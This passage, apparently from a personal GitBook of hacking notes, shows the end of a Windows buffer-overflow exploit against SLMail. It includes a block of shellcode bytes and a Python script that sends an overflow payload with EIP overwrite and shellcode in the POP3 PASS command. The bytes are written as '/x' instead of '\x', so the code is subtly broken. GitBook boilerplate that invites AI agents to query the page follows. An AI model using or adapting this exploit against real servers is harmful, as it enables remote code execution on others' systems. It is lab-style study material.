b"/x3f/x07/xa3/x6b/x10/x60/x92/xe0/xff/xf7/x2b/x23/x44/x17"
b"/xce/xe1/xb1/xb0/x57/x60/x78/xdd/x67/x5f/xbf/xd8/xeb/x55"
b"/x40/x1f/xf3/x1c/x45/x5b/xb3/xcd/x37/xf4/x56/xf1/xe4/xf5"
b"/x72/x81/x65/x7d/x18/x13/x09/xe9/x87/xbf/x81/xc9/x0e/x7a"
b"/x02/x22/xdf/xe1/xc5/x1f/x90/x8b/x43/x05/x4d/x3f/xb4/x8b"
b"/xf4/xcb/x9a/x44/x92/x51/xa0/x06/x35/xf0/x48/xa3/xec/xd4"
b"/xf0/x24/x98/x46/x95/xd5/x07/xf2/x36/x5e/xba/x93/xd6/xf9"
b"/x12/x44/x4f/x72/x17/xfa/xb5/x55/xf8/xcb/xf0/x9b/x28/x1a"
b"/x35/xe4/x1a/x6b/x08/x3a/x52/xa1/x52/x6d/xc4/x96/x8c/x01"
b"/x97/x29/xf6/xc8/x57")

payload = before_eip + eip + b"/x83/xEC/x10" + shellcode
def exploit():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip_address, port))
    banner = s.recv(1024)
    s.send(b"USER jordan" + b'/r/n')
    response = s.recv(1024)
    s.send(b"PASS " + payload + b' /r/n')
    s.close()

if __name__ == '__main__':
    exploit()
```

<div data-full-width="true"><figure><img src="/files/d0f9d9d0ef590da64f452dc0b2c75a022496d6a9" alt="" width="563"><figcaption></figcaption></figure></div>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/useful-resources/exploit-development/windows-buffer-overflow-slmail.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
